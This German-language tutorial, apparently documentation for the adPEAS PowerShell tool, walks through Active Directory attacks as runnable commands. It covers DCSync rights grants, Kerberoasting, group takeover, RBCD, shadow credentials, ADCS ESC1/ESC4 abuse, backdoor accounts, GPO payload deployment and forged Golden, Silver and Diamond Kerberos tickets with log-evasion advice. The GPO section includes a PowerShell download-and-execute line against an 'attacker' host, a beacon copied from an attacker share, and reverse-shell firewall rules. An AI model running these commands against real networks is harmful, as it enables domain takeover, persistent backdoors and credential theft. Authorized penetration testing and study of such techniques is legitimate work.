Rechtlicher Hinweis

Die in dieser Episode beschriebenen Techniken sind offensiver Natur und dürfen nur im Einklang mit geltendem Recht eingesetzt werden!

Die Nutzung dieser Funktionen ist ausschließlich zulässig in folgenden Kontexten:

Autorisierte Penetrationstests - Mit schriftlicher Genehmigung des Auftraggebers

Eigene Testumgebungen - Im persönlichen Lab

Security Research - Zur Erforschung und Dokumentation von Schwachstellen

Die unautorisierte Nutzung dieser Techniken gegen fremde Systeme ist eine Straftat und kann je nach Rechtsordnung schwere rechtliche Konsequenzen nach sich ziehen. Sie sind allein verantwortlich für die rechtmäßige Nutzung.

Experimenteller Status

Die Set-*, New-* und Invoke-TicketForge Funktionen sind experimentell!

Diese Funktionen befinden sich in aktiver Entwicklung und sollten mit Vorsicht eingesetzt werden:

Immer im Lab testen - Jede Technik zuerst in der eigenen Testumgebung validieren

Bugs sind möglich - Unerwartetes Verhalten kann auftreten

Rollback einplanen - Vor Änderungen einen Recovery-Plan haben

-PassThru nutzen - Ergebnisse prüfen und dokumentieren

Cleanup dokumentieren - Alle Änderungen für späteres Aufräumen festhalten

Bei Problemen: Issue melden unter https://github.com/61106960/adPEAS/issues

Einleitung

adPEAS ist nicht nur ein Scanner. Mit den New-* und Set-* Funktionen kann man Active Directory manipulieren, und mit Invoke-TicketForge lassen sich Kerberos-Tickets fälschen. Das ist essenziell für:

Privilege Escalation - Von Low-Priv zum Domain Admin
Persistence - Zugang aufrechterhalten
Lateral Movement - Auf andere Systeme bewegen
Ticket Forging - Golden, Silver und Diamond Tickets erstellen

Diese Episode behandelt die wichtigsten Techniken für Red Teamer und Pentester.

Voraussetzung: Eine aktive adPEAS-Session:

Import-Module .\adPEAS.ps1
Connect-adPEAS -Domain "contoso.com" -UseWindowsAuth

Funktionsübersicht

New-* (Erstellen)

Funktion	Beschreibung
`New-DomainUser`	Neuen Benutzer anlegen
`New-DomainComputer`	Neuen Computer anlegen (MachineAccountQuota)
`New-DomainGroup`	Neue Gruppe anlegen
`New-DomainGPO`	Neue GPO anlegen

Set-* (Modifizieren)

Funktion	Beschreibung
`Set-DomainObject`	Universal: Attribute und ACLs modifizieren
`Set-DomainUser`	Benutzer modifizieren (Password, SPN, RBCD, Shadow Creds, UAC Flags)
`Set-DomainComputer`	Computer modifizieren (RBCD, Delegation, Shadow Creds, UAC Flags)
`Set-DomainGroup`	Gruppen modifizieren (Members, Owner, ACLs)
`Set-DomainGPO`	GPOs modifizieren
`Set-CertificateTemplate`	ADCS-Templates modifizieren

Invoke-* (Ticket Forging)

Funktion	Beschreibung
`Invoke-TicketForge`	Golden, Silver und Diamond Tickets erstellen
`Import-KerberosTicket`	Tickets in die Windows-Session injizieren (PTT)

Request-* (Zertifikatsanfragen)

Funktion	Beschreibung
`Request-ADCSCertificate`	Zertifikat bei CA anfordern (ESC1/ESC4)

Privilege Escalation Techniken

1. DCSync-Rechte vergeben

Szenario: Du hast WriteDacl auf dem Domain Root.

# DCSync-Rechte an deinen User vergeben
Set-DomainObject -Identity "DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\youruser" -ExtendedRight "DCSync"

# Jetzt kannst du alle Hashes dumpen (z.B. mit mimikatz)
# mimikatz: lsadump::dcsync /domain:contoso.com /all

Was DCSync macht: Vergibt die 3 Replication-Rechte (Get-Changes, Get-Changes-All, Get-Changes-In-Filtered-Set).

2. Targeted Kerberoasting

Szenario: Du hast WriteProperty auf einem User ohne SPN.

# SPN auf den User setzen
Set-DomainUser -Identity "svc_backup" -SetSPN "HTTP/fakeservice.contoso.com"

# Der User ist jetzt Kerberoastable!
# Ticket mit Invoke-Kerberoast oder Rubeus anfordern

# Cleanup nach dem Angriff
Set-DomainUser -Identity "svc_backup" -ClearSPN "HTTP/fakeservice.contoso.com"

3. ASREPRoasting aktivieren

Szenario: Du hast WriteProperty auf einem User.

# Pre-Auth deaktivieren
Set-DomainUser -Identity "targetuser" -DontReqPreauth

# Der User ist jetzt ASREPRoastable - AS-REP kann ohne Passwort angefordert werden

# Cleanup
Set-DomainUser -Identity "targetuser" -ClearDontReqPreauth

4. Passwort-Reset

Szenario: Du hast ForceChangePassword auf einem User.

# Passwort zurücksetzen
Set-DomainUser -Identity "targetuser" -NewPassword "NewP@ssw0rd123!"

# Oder: ForceChangePassword-Rechte selbst vergeben (wenn du WriteDacl hast)
Set-DomainObject -Identity "CN=targetuser,OU=Users,DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\youruser" -ExtendedRight "ForceChangePassword"

5. Group Takeover

Szenario: Du hast WriteOwner auf einer Gruppe.

# 1. Ownership übernehmen
Set-DomainGroup -Identity "Domain Admins" -Owner "CONTOSO\youruser"

# 2. Sich selbst GenericAll geben (als Owner möglich)
Set-DomainGroup -Identity "Domain Admins" -GrantRights GenericAll -Principal "CONTOSO\youruser"

# 3. Sich selbst zur Gruppe hinzufügen
Set-DomainGroup -Identity "Domain Admins" -AddMember "youruser"

6. RBCD-Angriff (Resource-Based Constrained Delegation)

Szenario: Du kannst Computer erstellen (MachineAccountQuota > 0) und hast WriteProperty auf einem Ziel.

# 1. Computer-Account erstellen
$result = New-DomainComputer -Name "EVILPC" -PassThru
$password = $result.Password
Write-Host "Computer erstellt mit Passwort: $password"

# 2. RBCD auf dem Ziel konfigurieren
Set-DomainComputer -Identity "FILESERVER01" -AddRBCD "EVILPC$"

# Cleanup
Set-DomainComputer -Identity "FILESERVER01" -ClearRBCD

RBCD auf einem User (Service Account mit SPN):

Set-DomainUser -Identity "svc_sql" -AddRBCD "EVILPC$"

7. Shadow Credentials

Voraussetzung: Domain Functional Level 2016 oder höher (das Attribut msDS-KeyCredentialLink existiert erst ab DFL 2016).

Szenario: Du hast WriteProperty auf msDS-KeyCredentialLink.

# Shadow Credential auf den User setzen
$result = Set-DomainUser -Identity "targetuser" -AddShadowCredential -PassThru

# Cleanup mit DeviceID (entfernt nur die eigene Credential)
Set-DomainUser -Identity "targetuser" -ClearShadowCredentials -DeviceID $result.DeviceID

# Oder: Alle Shadow Credentials entfernen
Set-DomainUser -Identity "targetuser" -ClearShadowCredentials -Force

Auf einem Computer-Account:

Set-DomainComputer -Identity "DC01" -AddShadowCredential

8. Unconstrained Delegation aktivieren

Szenario: Du hast WriteProperty auf der userAccountControl eines Computers.

# Unconstrained Delegation aktivieren
Set-DomainComputer -Identity "YOURCOMPUTER$" -SetTrustedForDelegation

# WARNUNG: Hoher Impact! Der Computer kann jetzt jeden User impersonaten.

# Cleanup
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearTrustedForDelegation

9. Constrained Delegation konfigurieren

Szenario: Du kontrollierst einen Computer und hast WriteProperty.

# Constrained Delegation auf DCs konfigurieren
Set-DomainComputer -Identity "YOURCOMPUTER$" -SetConstrainedDelegation @("cifs/dc01.contoso.com", "ldap/dc01.contoso.com")

# Protocol Transition aktivieren (S4U2Self)
Set-DomainComputer -Identity "YOURCOMPUTER$" -SetTrustedToAuthForDelegation

# Du kannst jetzt Tickets für jeden User zu diesen SPNs anfordern

# Cleanup
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearConstrainedDelegation -Force
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearTrustedToAuthForDelegation

10. ADCS-Zertifikatsanfrage (ESC1/ESC4)

Szenario: Du hast ein verwundbares ADCS-Template gefunden (ESC1: Enrollee Supplies Subject + Client Auth) oder du hast Schreibrechte auf ein Template (ESC4).

Request-ADCSCertificate automatisiert den kompletten Angriff: CSR generieren, an die CA senden, Zertifikat abholen und als PFX-Datei speichern.

ESC1 - Verwundbares Template direkt ausnutzen:

# Einfachste Variante: -Impersonate macht alles automatisch
Request-ADCSCertificate -TemplateName "VulnTemplate" -Impersonate "administrator"

# Mit dem erhaltenen Zertifikat authentifizieren
Connect-adPEAS -Domain "contoso.com" -Certificate '.\administrator_20260219_120000.pfx' -CertificatePassword 'K8#mP2@xL9!nQ4$wR7'

-Impersonate erkennt automatisch, ob ein Username (UPN SAN), eine UPN-Adresse oder ein FQDN (DNS SAN) übergeben wurde:

Eingabe	Subject	SAN
`"administrator"`	CN=administrator	UPN:nqzvavfgengbe[AT]pbagbfb[DOT]pbz
`"admin@contoso.com"`	CN=admin	UPN:nqzva[AT]pbagbfb[DOT]pbz
`"dc01.contoso.com"`	CN=dc01	DNS:dc01.contoso.com

ESC4 - Template temporär modifizieren:

# -ModifyTemplate: Backup -> Modify -> Request -> Restore (automatisch!)
Request-ADCSCertificate -TemplateName "WebServer" -ModifyTemplate -Impersonate "administrator"

Was -ModifyTemplate macht:

Template-Backup als JSON speichern
Template modifizieren (ENROLLEE_SUPPLIES_SUBJECT, Client Auth EKU, Exportable Key, keine Manager Approval)
Zertifikat anfordern
Original-Template wiederherstellen (auch bei Fehlern!)

Kein Passwortschutz der PFX (praktisch für Folgebefehle):

# PFX ohne Passwortschutz exportieren
Request-ADCSCertificate -TemplateName "VulnTemplate" -Impersonate "admin" -NoPassword

# Direkt ohne -CertificatePassword verwenden
Connect-adPEAS -Domain "contoso.com" -Certificate '.\admin_20260219_120000.pfx'
Get-CertificateInfo -Certificate '.\admin_20260219_120000.pfx'

Scripting mit -PassThru:

$cert = Request-ADCSCertificate -TemplateName "VulnTemplate" -Impersonate "admin" -PassThru
if ($cert.Success) {
    Connect-adPEAS -Domain "contoso.com" -Certificate $cert.PFXPath -CertificatePassword $cert.PFXPassword
}

CA wird automatisch erkannt - bei aktiver adPEAS-Session werden alle CAs aus dem AD ausgelesen und das passende Template automatisch lokalisiert. Alternativ: -CAServer "ca01.contoso.com" zur manuellen Angabe.

Persistence-Techniken

11. Backdoor-User erstellen

# User mit generiertem Passwort erstellen
$result = New-DomainUser -Name "svc_health" -Description "Health Monitor Service" -PassThru
Write-Host "User erstellt mit Passwort: $($result.Password)"

# Zur Domain Admins Gruppe hinzufügen (wenn du die Rechte hast)
Set-DomainGroup -Identity "Domain Admins" -AddMember "svc_health"

12. Versteckter Computer für RBCD

# Fake-Computer erstellen (nutzt MachineAccountQuota)
New-DomainComputer -Name "SCCM-AGENT" -Description "SCCM Distribution Point"

# Kann später für RBCD-Angriffe verwendet werden

13. ACL-basierte Persistence

# Sich selbst GenericAll auf dem Domain Root geben
Set-DomainObject -Identity "DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\youruser" -Rights "GenericAll"

# Oder subtiler: Nur WriteDacl (man kann sich später weitere Rechte vergeben)
Set-DomainObject -Identity "DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\youruser" -Rights "WriteDacl"

14. Shadow Credentials für Persistence

Voraussetzung: Domain Functional Level 2016+ (siehe Abschnitt 7).

# Shadow Credential auf einem Domain Controller
Set-DomainComputer -Identity "DC01" -AddShadowCredential -PassThru

# Zertifikat sichern - damit kann man sich jederzeit als DC01$ authentifizieren

15. GPO Abuse — Code Execution und Persistence über Group Policy

Szenario: Du hast Schreibzugriff auf ein GPO-Objekt (z.B. durch GenericWrite, WriteDacl oder du bist GPO-Owner). Mit Set-DomainGPO kannst du die GPO manipulieren, um Code auf allen Computern auszuführen, auf denen die GPO angewendet wird.

Warum GPO Abuse so mächtig ist:

GPOs werden automatisch auf alle verlinkten Computer angewendet
GPO-Änderungen werden ohne Benutzerinteraktion wirksam (Startup Scripts, Scheduled Tasks)
Viele GPO-Operationen laufen im SYSTEM-Kontext
GPOs können auf Domain Controller OUs verlinkt werden — aus GPO-Schreibzugriff wird sofort Domain Admin

Schritt 1: GPO-Rechte beschaffen (falls nötig)

# Ownership übernehmen (wenn du TakeOwnership hast)
Set-DomainGPO -Identity "Target Policy" -Owner "CONTOSO\attacker"

# Sich selbst GenericAll auf die GPO geben
Set-DomainGPO -Identity "Target Policy" -GrantRights GenericAll -Principal "CONTOSO\attacker"

Schritt 2: GPO mit Ziel-OU verlinken (falls noch nicht verlinkt)

# GPO mit Server-OU verlinken
Set-DomainGPO -Identity "Target Policy" -LinkTo "OU=Servers,DC=contoso,DC=com"

# Mit Enforcement (ignoriert Block Inheritance)
Set-DomainGPO -Identity "Target Policy" -LinkTo "OU=Domain Controllers,DC=contoso,DC=com" -LinkEnforced

Schritt 3: Payload über GPO ausrollen

Immediate Scheduled Task — sofortige Code-Ausführung als SYSTEM:

# Einfache Befehlsausführung
Set-DomainGPO -Identity "Target Policy" -AddScheduledTask -TaskName "WindowsUpdate" -TaskCommand "cmd.exe" -TaskArguments "/c whoami > C:\Windows\Temp\pwned.txt"

# PowerShell-Payload
Set-DomainGPO -Identity "Target Policy" -AddScheduledTask -TaskName "HealthCheck" -TaskCommand "powershell.exe" -TaskArguments "-nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"

Local Admin hinzufügen — Persistence ohne Code-Ausführung:

# User zu lokalen Administratoren hinzufügen
Set-DomainGPO -Identity "Target Policy" -AddLocalGroupMember -LocalGroup "Administrators" -MemberToAdd "CONTOSO\attacker"

# RDP-Zugang einrichten
Set-DomainGPO -Identity "Target Policy" -AddLocalGroupMember -LocalGroup "Remote Desktop Users" -MemberToAdd "CONTOSO\attacker"

Startup Script — Code-Ausführung bei jedem Reboot als SYSTEM:

# Inline-Script (wird direkt in SYSVOL erstellt)
Set-DomainGPO -Identity "Target Policy" -AddStartupScript -ScriptContent "net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add" -ScriptName "update.bat"

# Bestehendes Script deployen
Set-DomainGPO -Identity "Target Policy" -AddStartupScript -ScriptPath "C:\tools\beacon.ps1" -ScriptName "monitoring.ps1"

Logon Script — Code-Ausführung bei jeder Benutzeranmeldung:

Set-DomainGPO -Identity "Target Policy" -AddLogonScript -ScriptContent "powershell -nop -w hidden -c IEX(...)" -ScriptName "profile.ps1"

Windows Service installieren — persistenter Dienst:

# Dienst der bei jedem Boot automatisch startet
Set-DomainGPO -Identity "Target Policy" -AddService -ServiceName "WinUpdateSvc" -BinaryPath "C:\Windows\Temp\beacon.exe" -StartType Automatic

# Dienst unter einem Domain-Account
Set-DomainGPO -Identity "Target Policy" -AddService -ServiceName "HelperSvc" -BinaryPath "C:\Temp\helper.exe" -ServiceAccount "CONTOSO\svc_admin"

Datei deployen — Payload auf Zielcomputer kopieren:

# Payload von UNC-Share kopieren
Set-DomainGPO -Identity "Target Policy" -DeployFile -SourceFile "\\attacker\share\beacon.exe" -DestinationPath "C:\Windows\Temp\update.exe" -FileAction Create

Firewall-Regel erstellen — Netzwerkzugang öffnen:

# C2-Kommunikation erlauben
Set-DomainGPO -Identity "Target Policy" -AddFirewallRule -RuleName "Windows Update" -RuleDirection Outbound -RuleAction Allow -RuleProtocol TCP -RuleRemoteAddress "10.10.10.10" -RuleRemotePort "8080,8443"

# Inbound-Regel für Reverse Shell
Set-DomainGPO -Identity "Target Policy" -AddFirewallRule -RuleName "Remote Support" -RuleDirection Inbound -RuleAction Allow -RuleProtocol TCP -RuleLocalPort "4444"

Cleanup

# GPO-Link entfernen
Set-DomainGPO -Identity "Target Policy" -UnlinkFrom "OU=Servers,DC=contoso,DC=com"

Hinweis: SYSVOL-Inhalte (Scheduled Tasks, Scripts, Services) müssen manuell aufgeräumt werden — adPEAS bietet derzeit keine Remove-Operationen für GPO-Inhalte. Alle Änderungen für späteres Cleanup dokumentieren.

16. UAC-Flag-Manipulation

Szenario: Du hast WriteProperty auf der userAccountControl eines Users und willst Accounts schwächen oder Persistence einrichten.

Set-DomainUser unterstützt direkte Manipulation von UAC-Flags - ein mächtiges Werkzeug für Offense und Cleanup:

# Account schwächen: Leeres Passwort erlauben
Set-DomainUser -Identity "targetuser" -PasswordNotRequired

# Persistence: Passwort läuft nie ab
Set-DomainUser -Identity "backdooruser" -PasswordNeverExpires

# Credential Theft: Reversible Encryption aktivieren
# Nach der nächsten Passwortänderung wird das Passwort im Klartext gespeichert
Set-DomainUser -Identity "targetuser" -ReversibleEncryption

# Smartcard erzwingen (sperrt den User aus wenn keine Smartcard vorhanden)
Set-DomainUser -Identity "targetuser" -SmartcardRequired

# Defensiv: Account als sensitiv markieren (verhindert Delegation)
Set-DomainUser -Identity "adminuser" -NotDelegated

# Passwortänderung beim nächsten Logon erzwingen
Set-DomainUser -Identity "targetuser" -PasswordExpired

# User daran hindern sein eigenes Passwort zu ändern
Set-DomainUser -Identity "targetuser" -PasswordCantChange

Alle Flags sind Toggle-Switches: Ist das Flag bereits gesetzt, meldet adPEAS “already set” ohne Änderungen vorzunehmen.

Computer-UAC-Flags

Set-DomainComputer unterstützt ebenfalls UAC-Flag-Manipulation — besonders interessant für Computer-spezifische Angriffe:

# Computer-Account schwächen: Leeres Passwort erlauben
Set-DomainComputer -Identity "YOURCOMPUTER$" -PasswordNotRequired

# Persistence: Computer-Passwort läuft nie ab
Set-DomainComputer -Identity "YOURCOMPUTER$" -PasswordNeverExpires

# AS-REP Roasting auf Computer-Account aktivieren
Set-DomainComputer -Identity "YOURCOMPUTER$" -DontReqPreauth

# Defensiv: Computer als sensitiv markieren (verhindert Delegation)
Set-DomainComputer -Identity "DC01" -NotDelegated

# Cleanup: NOT_DELEGATED-Flag entfernen
Set-DomainComputer -Identity "DC01" -ClearNotDelegated

# Cleanup: Pre-Authentication wieder aktivieren
Set-DomainComputer -Identity "YOURCOMPUTER$" -ClearDontReqPreauth

Ticket Forging mit Invoke-TicketForge

Sobald du den krbtgt-Hash oder Service-Account-Keys hast (z.B. via DCSync), wird es richtig interessant. Invoke-TicketForge erstellt gefälschte Kerberos-Tickets - komplett in PowerShell, ohne externe Tools wie Mimikatz oder Rubeus.

Was sind Golden, Silver und Diamond Tickets?

Ein kurzer Refresher für alle, die jetzt keine Lust haben zu Episode 3 zurückzublättern:

Normaler Kerberos-Flow:

  Client --AS-REQ--> KDC --AS-REP--> Client bekommt TGT
  Client --TGS-REQ--> KDC --TGS-REP--> Client bekommt Service Ticket
  Client --AP-REQ--> Service

Golden Ticket:  Wir FÄLSCHEN das TGT. Kein AS-REQ nötig.
Silver Ticket:  Wir FÄLSCHEN das Service Ticket. Kein TGS-REQ nötig.
Diamond Ticket: Wir BESCHAFFEN ein echtes TGT und MODIFIZIEREN es.

Der Unterschied liegt im OPSEC-Profil und den benötigten Keys:

Ticket	Benötigter Key	KDC-Kontakt	OPSEC
Golden	krbtgt Key	Keiner (kein AS-REQ)	Schlecht - kein AS-REQ in den Logs
Silver	Service Account Key	Keiner (kein TGS-REQ)	Mittel - kein TGS-REQ in den Logs
Diamond	krbtgt Key + User Credentials	AS-REQ wird gesendet	Gut - echter AS-REQ in den Logs

17. Golden Ticket

Szenario: Du hast den krbtgt-Hash (z.B. via DCSync) und willst Domain Admin werden.

Das Golden Ticket ist der Klassiker. Du fälschst ein TGT mit beliebigen Gruppenmitgliedschaften - der Domain Controller akzeptiert es, weil es mit dem korrekten krbtgt-Key signiert ist.

# Golden Ticket mit aktiver adPEAS-Session (Domain und DomainSID aus der Session)
Invoke-TicketForge -Mode Golden -AES256Key "52a4126c7ab14fe..." -PTT

# Golden Ticket mit expliziten Parametern (keine Session nötig)
Invoke-TicketForge -Mode Golden -Domain "contoso.com" -DomainSID "S-1-5-21-1234567890-1234567890-1234567890" -AES256Key "52a4126c7ab14fe..." -PTT

# Als anderer User mit NT-Hash und .kirbi-Export
Invoke-TicketForge -Mode Golden -UserName "svc_backup" -Domain "contoso.com" -DomainSID "S-1-5-21-1234567890-1234567890-1234567890" -NTHash "32ED87BDB5FDC5E9CBA88547376818D4" -OutputKirbi "golden.kirbi"

Was unter der Haube passiert:

1. Zufälligen Session Key generieren (32 Bytes für AES256)
2. PAC bauen (KERB_VALIDATION_INFO mit Domain Admins etc.)
3. PAC-Checksums berechnen und signieren (über cryptdll.dll)
4. EncTicketPart bauen (Session Key + PAC + Timestamps)
5. EncTicketPart mit krbtgt-Key verschlüsseln
6. Kerberos Ticket zusammenbauen (APPLICATION 1)
7. KRB-CRED generieren (.kirbi-Format)
8. Optional: In Windows-Session injizieren (-PTT)

Wichtig: Die Standard-UserRID ist 500 (Built-in Administrator) und die Standard-GroupRIDs sind 512, 513, 518, 519, 520 (Domain Admins, Domain Users, Schema Admins, Enterprise Admins, Group Policy Creator Owners).

18. Silver Ticket

Szenario: Du hast den Hash eines Service Accounts und willst auf einen bestimmten Service zugreifen - ohne den KDC zu kontaktieren.

Silver Tickets sind Service Tickets, die direkt an den Zieldienst gehen. Du brauchst nur den Key des Service Accounts (oft ein Computer-Account), nicht den krbtgt-Key.

# Silver Ticket für CIFS (Dateifreigaben, PsExec)
Invoke-TicketForge -Mode Silver -Domain "contoso.com" -DomainSID "S-1-5-21-xxx" -ServiceType CIFS -TargetComputer "fileserver" -NTHash "ABC123DEF456..." -PTT

# Silver Ticket für MSSQL mit explizitem SPN
Invoke-TicketForge -Mode Silver -Domain "contoso.com" -DomainSID "S-1-5-21-xxx" -ServicePrincipalName "MSSQLSvc/sql01.contoso.com:1433" -AES256Key "..." -OutputKirbi "silver_sql.kirbi"

# Silver Ticket für LDAP auf dem DC (für DCSync ohne DA-Gruppenmitgliedschaft)
Invoke-TicketForge -Mode Silver -Domain "contoso.com" -DomainSID "S-1-5-21-xxx" -ServiceType LDAP -TargetComputer "dc01" -AES256Key "..." -PTT

Unterstützte ServiceTypes:

ServiceType	SPN-Prefix	Typischer Einsatz
`CIFS`	cifs/	Dateifreigaben, PsExec, SCM
`HTTP`	http/	Web-Apps, WinRM (HTTP)
`LDAP`	ldap/	LDAP-Zugriff, DCSync
`HOST`	host/	Allgemeine Host-Services
`MSSQL`	MSSQLSvc/	SQL Server
`WSMAN`	wsman/	WinRM (HTTPS)

Unterschied zum Golden Ticket: Beim Silver Ticket werden beide PAC-Checksums (Server und KDC) mit dem Service-Account-Key signiert. Das funktioniert, weil der Zieldienst die KDC-Checksum normalerweise nicht validiert.

19. Diamond Ticket

Szenario: Du hast den krbtgt-Key UND Credentials eines Low-Priv-Users. Du willst Domain Admin werden, aber dein Golden Ticket soll nicht in den DC-Logs auffallen.

Das Diamond Ticket ist die OPSEC-freundliche Variante des Golden Tickets. Es fordert zuerst ein echtes TGT an (was einen normalen AS-REQ in den DC-Logs erzeugt), entschlüsselt es dann mit dem krbtgt-Key, baut den PAC mit erhöhten Privilegien neu und verschlüsselt alles wieder. Von außen sieht es aus wie ein normales TGT.

# Diamond Ticket mit Passwort (interaktiv)
Invoke-TicketForge -Mode Diamond -Domain "contoso.com" -BaseUserCredential (Get-Credential "lowpriv") -AES256Key "KRBTGT_AES256KEY" -PTT

# Diamond Ticket mit NT-Hash des Base-Users
Invoke-TicketForge -Mode Diamond -Domain "contoso.com" -BaseUserName "lowpriv" -BaseUserNTHash "LOWPRIV_NTHASH" -AES256Key "KRBTGT_AES256KEY" -UserName "Administrator" -GroupRIDs @(512, 519) -PTT

# Diamond Ticket aus bestehendem TGT (.kirbi)
Invoke-TicketForge -Mode Diamond -BaseUserTGTPath ".\user_tgt.kirbi" -AES256Key "KRBTGT_AES256KEY" -GroupRIDs @(512) -OutputKirbi "diamond.kirbi"

# Diamond Ticket im OPSEC-Modus (ohne -UserName = Original-User beibehalten)
Invoke-TicketForge -Mode Diamond -Domain "contoso.com" -BaseUserCredential (Get-Credential "lowpriv") -AES256Key "KRBTGT_AES256KEY" -GroupRIDs @(512, 513, 518, 519, 520) -PTT

Der hybride Ansatz erklärt:

Phase 1: Base TGT beschaffen
+--------------------------------------------------------+
| Option A: -BaseUserCredential     -> AS-REQ an KDC     |
| Option B: -BaseUserNTHash         -> Overpass-the-Hash  |
| Option C: -BaseUserAES256Key      -> Pass-the-Key       |
| Option D: -BaseUserTGTPath        -> .kirbi laden       |
| Option E: -BaseUserTGT            -> Base64 laden       |
+----------------------+---------------------------------+
                       v
Phase 2: TGT aufbrechen
+--------------------------------------------------------+
| 1. KRB-CRED parsen (ASN.1)                             |
| 2. EncTicketPart mit krbtgt-Key entschlüsseln          |
| 3. Session Key extrahieren                              |
| 4. Timestamps extrahieren                               |
| 5. PAC parsen -> User, Domain, SID, Gruppen             |
+----------------------+---------------------------------+
                       v
Phase 3: Mit Golden-Ticket-Logik neu bauen
+--------------------------------------------------------+
| 1. Neuen PAC bauen (mit gewünschten Gruppen)            |
| 2. PAC-Checksums mit krbtgt-Key signieren               |
| 3. EncTicketPart mit ORIGINALEM Session Key bauen       |
| 4. Mit krbtgt-Key verschlüsseln                         |
| 5. KRB-CRED mit ORIGINALEM Session Key bauen            |
+--------------------------------------------------------+

OPSEC-Modus: Wenn du -UserName weglässt, behält das Diamond Ticket den Original-User bei und modifiziert nur die Gruppenmitgliedschaften. Das ist die unauffälligste Variante - in den Logs steht ein normaler AS-REQ für genau diesen User.

Wichtige Einschränkung: Der krbtgt-Key muss zum Verschlüsselungstyp passen, den der DC für das Ticket verwendet hat. Auf modernen DCs ist das fast immer AES256. Wenn du nur den RC4/NT-Hash des krbtgt hast, bekommst du eine klare Fehlermeldung:

Encryption type mismatch:
The base TGT is encrypted with AES256-CTS (etype 18) but the provided krbtgt key is RC4-HMAC (etype 23).
You need the krbtgt AES256-CTS key to decrypt this ticket.

In dem Fall brauchst du den AES256-Key des krbtgt - oder du verwendest stattdessen ein Golden Ticket (das kein echtes TGT entschlüsseln muss).

GroupRIDs und ExtraSIDs anpassen

Alle drei Ticket-Typen unterstützen benutzerdefinierte Gruppenmitgliedschaften:

# Nur Domain Admins und Domain Users (ERSETZT die Defaults!)
Invoke-TicketForge -Mode Golden -AES256Key "..." -GroupRIDs @(512, 513) -PTT

# Default-Gruppen PLUS eine Custom-Gruppe
Invoke-TicketForge -Mode Golden -AES256Key "..." -GroupRIDs @(512, 513, 518, 519, 520, 1337) -PTT

# Cross-Domain Trust Abuse mit ExtraSIDs (z.B. Enterprise Admins SID der Parent-Domain)
Invoke-TicketForge -Mode Golden -Domain "child.contoso.com" -DomainSID "S-1-5-21-CHILD..." -AES256Key "..." -ExtraSIDs @("S-1-5-21-PARENT...-519") -PTT

Hinweis zu -GroupRIDs: Wenn du diesen Parameter angibst, werden die Defaults komplett ersetzt - nicht ergänzt! Gibst du also nur @(1337) an, bist du in keiner der privilegierten Gruppen mehr Mitglied.

-ExtraSIDs erwartet vollständige SIDs und ist für Cross-Domain-Szenarien gedacht. Allerdings funktionieren auch SIDs der eigenen Domain - der DC filtert sie bei Golden/Silver/Diamond Tickets nicht heraus.

Verschlüsselungstypen und OPSEC

Alle drei Ticket-Typen unterstützen drei Verschlüsselungstypen:

Parameter	EType	Beschreibung	OPSEC
`-AES256Key`	18	AES256-CTS-HMAC-SHA1-96	Beste - Standard auf modernen DCs
`-AES128Key`	17	AES128-CTS-HMAC-SHA1-96	OK - selten verwendet
`-NTHash`	23	RC4-HMAC	Schlecht - RC4-Tickets fallen in Logs auf

Empfehlung: Immer den AES256-Key verwenden, wenn verfügbar. RC4-verschlüsselte Tickets werden von EDR-Lösungen und Event ID 4769 leicht erkannt (Encryption Type 0x17 statt 0x12).

Pass-the-Ticket (-PTT)

Alle Ticket-Typen können mit -PTT direkt in die aktuelle Windows-Session injiziert werden:

# Ticket erstellen und sofort injizieren
Invoke-TicketForge -Mode Golden -AES256Key "..." -PTT

# Das Ticket ist jetzt aktiv - du kannst direkt loslegen:
# dir \\dc01.contoso.com\c$
# Enter-PSSession dc01.contoso.com

Die Injektion nutzt die Windows LSA API (LsaCallAuthenticationPackage) - dieselbe Methode wie Rubeus und Mimikatz.

Alternativ kannst du Tickets als .kirbi-Dateien speichern und später importieren:

# Ticket speichern
Invoke-TicketForge -Mode Golden -AES256Key "..." -OutputKirbi "ticket.kirbi"

# Später importieren
Import-KerberosTicket -Kirbi "ticket.kirbi"

Set-DomainObject - Das Schweizer Taschenmesser

Set-DomainObject ist das Schweizer Taschenmesser für AD-Manipulation.

Attribute modifizieren

# Einzelnes Attribut setzen
Set-DomainObject -Identity "targetuser" -Set @{ description = "Compromised" }

# Mehrere Attribute setzen
Set-DomainObject -Identity "targetuser" -Set @{ description = "Neue Beschreibung"; info = "Zusatzinfo" }

# An ein Multi-Value-Attribut anhängen
Set-DomainObject -Identity "serviceaccount" -Append @{ servicePrincipalName = "HTTP/fake.contoso.com" }

# Aus einem Multi-Value-Attribut entfernen
Set-DomainObject -Identity "serviceaccount" -Remove @{ servicePrincipalName = "HTTP/fake.contoso.com" }

# Attribut leeren
Set-DomainObject -Identity "targetuser" -Clear @("description", "info")

ACL-Operationen

# Rechte vergeben (Allow)
Set-DomainObject -Identity "CN=Target,OU=Users,DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\attacker" -Rights "GenericAll"

# ExtendedRight vergeben
Set-DomainObject -Identity "DC=contoso,DC=com" -GrantACE -Principal "CONTOSO\attacker" -ExtendedRight "DCSync"

# Rechte entziehen
Set-DomainObject -Identity "CN=Target,OU=Users,DC=contoso,DC=com" -RevokeACE -Principal "CONTOSO\attacker" -Rights "GenericAll"

# Explicit Deny setzen
Set-DomainObject -Identity "CN=krbtgt,CN=Users,DC=contoso,DC=com" -DenyACE -Principal "NT AUTHORITY\Authenticated Users" -Rights "WriteProperty"

# Alle ACEs für einen Principal entfernen
Set-DomainObject -Identity "CN=Target,OU=Users,DC=contoso,DC=com" -ClearACE -Principal "CONTOSO\olduser"

# Owner ändern
Set-DomainObject -Identity "CN=Domain Admins,CN=Users,DC=contoso,DC=com" -SetOwner -Principal "CONTOSO\attacker"

Verfügbare ExtendedRights

Alias	Beschreibung
`DCSync`	Alle 3 DCSync-Rechte
`ForceChangePassword`	Passwort zurücksetzen
`AddMember`	Gruppenmitgliedschaft ändern
`ReadLAPSPassword`	LAPS-Passwort lesen
`SendAs`	E-Mail als User senden (Exchange)
`ReceiveAs`	E-Mail als User empfangen (Exchange)
`AutoEnroll`	Zertifikats-Auto-Enrollment
`AllExtendedRights`	Alle Extended Rights

